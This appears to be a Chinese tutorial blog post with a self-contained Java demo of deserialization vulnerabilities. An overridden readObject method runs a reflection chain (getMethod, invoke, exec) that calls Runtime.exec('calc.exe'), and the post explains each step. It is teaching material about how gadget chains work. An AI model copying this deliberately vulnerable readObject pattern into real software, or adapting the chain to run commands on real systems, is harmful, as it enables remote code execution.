1. 程式人生 > >java反序列化原理-Demo(二)

java反序列化原理-Demo(二)

mage ins bytearray stream utc 繼承 etc input exceptio

java反序列化原理-Demo(二)

0x00 測試代碼以及運行結果

測試代碼:

package test;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class ReflectionPlay implements Serializable{

      public static void main(String[] args) throws Exception {
          new ReflectionPlay().run();
      }

      public void run() throws Exception {
          byte[] ObjectBytes=serialize(getObject());
          deserialize(ObjectBytes);
      }

      //在此方法中返回惡意對象
      public Object getObject() {
          String command = "calc.exe";
          Object firstObject = Runtime.class;
          ReflectionObject[] reflectionChains = {
                  /*
                   *            Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime",
                    new Class[] {}).invoke(null);

             Class.forName("java.lang.Runtime")
             .getMethod("exec", String.class)
             .invoke(runtime,"calc.exe");
                   * 
                   * */

                  //調用 Runtime.class 的getMethod方法,尋找 getRuntime方法,得到一個Method對象(getRuntime方法)
                  //等同於 Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
                  new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                  //調用 Method 的 invoker 方法可以得到一個Runtime對象
                  // 等同於 method.invoke(null),靜態方法不用傳入對象
                  new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                  //調用RunTime對象的exec方法,並將 command作為參數執行命令
                  new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
          };

          return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
      }

      /*
       * 序列化對象到byte數組
       * */
      public byte[] serialize(final Object obj) throws IOException {
          ByteArrayOutputStream out = new ByteArrayOutputStream();
          ObjectOutputStream objOut = new ObjectOutputStream(out);
          objOut.writeObject(obj);
          return out.toByteArray();
      }

      /*
       * 從byte數組中反序列化對象
       * */
      public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
          ByteArrayInputStream in = new ByteArrayInputStream(serialized);
          ObjectInputStream objIn = new ObjectInputStream(in);
          return objIn.readObject();
      }

      /*
      * 一個模擬擁有漏洞的類,主要提供的功能是根據自己的屬性中的值來進行反射調用
      * */
      class ReflectionObject implements Serializable{
          private String methodName;
          private Class[] paramTypes;
          private Object[] args;

          public ReflectionObject(String methodName, Class[] paramTypes, Object[] args) {
              this.methodName = methodName;
              this.paramTypes = paramTypes;
              this.args = args;
          }

          //根據  methodName, paramTypes 來尋找對象的方法,利用 args作為參數進行調用
          public Object transform(Object input) throws Exception {
              Class inputClass = input.getClass();
              return inputClass.getMethod(methodName, paramTypes).invoke(input, args);
          }
      }

      /*
      * 一個用來模擬提供惡意代碼的類,
      * 主要的功能是將 ReflectionObject進行串聯調用,與ReflectionObject一起構成漏洞代碼的一部分
      * */
      class ReflectionChains implements Serializable{

          private Object firstObject;
          private ReflectionObject[] reflectionObjects;

          public ReflectionChains(Object firstObject, ReflectionObject[] reflectionObjects) {//ReflectionChains構造方法
              this.firstObject = firstObject;
              this.reflectionObjects = reflectionObjects;
          }

          public Object execute() throws Exception {
              Object concurrentObject = firstObject;
              for (ReflectionObject reflectionObject : reflectionObjects) {
                  concurrentObject = reflectionObject.transform(concurrentObject);
                  System.out.println(concurrentObject);
              }
              return concurrentObject;
          }
      }

      /**
       * 一個等待序列化的類,擁有一個屬性和一個重寫了的readObject方法
       * 並且在readObject方法中執行了該屬性的一個方法
       * */
      class ReadObject implements Serializable {

          private ReflectionChains reflectionChains;

          public ReadObject(ReflectionChains reflectionChains) {
              this.reflectionChains = reflectionChains;
          }
          //當反序列化的時候,這個代碼會被調用
          //該方法被調用的時候其屬性都是空
          private void readObject(java.io.ObjectInputStream stream)
                  throws IOException, ClassNotFoundException {
              try {
                  //用來模擬當readObject的時候,對自身的屬性進行了一些額外的操作
                  reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
                  reflectionChains.execute();
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
      }
    }

運行結果:
技術分享圖片

0x01 測試代碼分析

涉及到的類:

類名 是否繼承 Serializable 方法名
ReflectionObject 繼承 transform
ReflectionChains 繼承 execute
ReadObject 繼承 readObject(重寫)

註:要想產生反序列漏洞,需要重寫readObjec方法

代碼流程:

  1. serialize(getObject());將一個對象序列化
  2. getObject(); 生成一個ReflectionObject數組,包含三個ReflectionObject對象;然後使用ReflectionObject數組生成一個ReflectionChains對象,繼續使用ReflectionChains對象生成一個ReadObject對象

    new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                  //調用 Method 的 invoker 方法可以得到一個Runtime對象
                  // 等同於 method.invoke(null),靜態方法不用傳入對象
    new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                  //調用RunTime對象的exec方法,並將 command作為參數執行命令
    new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
    };
    
          return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
  3. deserialize(ObjectBytes);將序列化後的字節反序列化
    將傳入的字節進行反序列化,因為傳入的字節是一個ReadObjec對象序列化後的,因此在反序列化時需要調用ReadObjec的readObjec方法(該方法已經被重寫)
    private void readObject(java.io.ObjectInputStream stream)
                  throws IOException, ClassNotFoundException {
              try {
                  //用來模擬當readObject的時候,對自身的屬性進行了一些額外的操作
                  reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
                  reflectionChains.execute();
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }

    在這裏我們需要註重看技術分享圖片
    在生成ReadObject對象時傳入的參數是ReflectionChains對象,所以這裏調用的execute()方法就是ReflectionChains的execute()方法。
    接著分析ReflectionChains的execute()方法:

    public Object execute() throws Exception {
              Object concurrentObject = firstObject;
              for (ReflectionObject reflectionObject : reflectionObjects) {
                  concurrentObject = reflectionObject.transform(concurrentObject);
                  System.out.println(concurrentObject);
              }
              return concurrentObject;
          }

    關鍵代碼:
    技術分享圖片
    由上面可知生成ReflectionChains對象時傳入的參數是ReflectionObject數組,這段代碼的含義便是:遍歷ReflectionObject數組,每一個元素(ReflectionObject)執行transform方法
    繼續分析ReflectionObject的transform方法:

    public Object transform(Object input) throws Exception {
              Class inputClass = input.getClass();  得到input對象是那個類的類名
              return inputClass.getMethod(methodName, paramTypes).invoke(input, args);   通過類名調用該類的某一方法
          }

    技術分享圖片
    註意:
    通過以上分析可以了解到,進行反序列化的反射鏈為:
    deserialize(ObjectBytes); 調用ReadObject類的readObject方法;接下來調用ReflectionChains類的execute方法;接下來通過遍歷ReflectionObject數組調用ReflectionObject類的transform方法

0x02 核心分析

通過以上代碼分析看,最終需要執行的便是以下代碼:

 new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                  //調用 Method 的 invoker 方法可以得到一個Runtime對象
                  // 等同於 method.invoke(null),靜態方法不用傳入對象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                  //調用RunTime對象的exec方法,並將 command作為參數執行命令
 new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),    
等同於執行了:Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
等同於執行了:method.invoke(null),靜態方法不用傳入對象
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
RunTime對象的exec方法,並將 command作為參數執行命令

第一個對象執行完成:
Runtime.class.getMethod("getRuntime", new Class[0]);
輸出的結果:java.lang.Runtime.getRuntime() 輸出的是一個類
第二個對象執行完成:
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
輸出結果:java.lang.Runtime@74a14482 輸出的是一個Runtime的對象
第二個對象執行完成:
Runtime t = (Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]);
t.exec("calc.exe")

參考鏈接:http://www.freebuf.com/vuls/170344.html

java反序列化原理-Demo(二)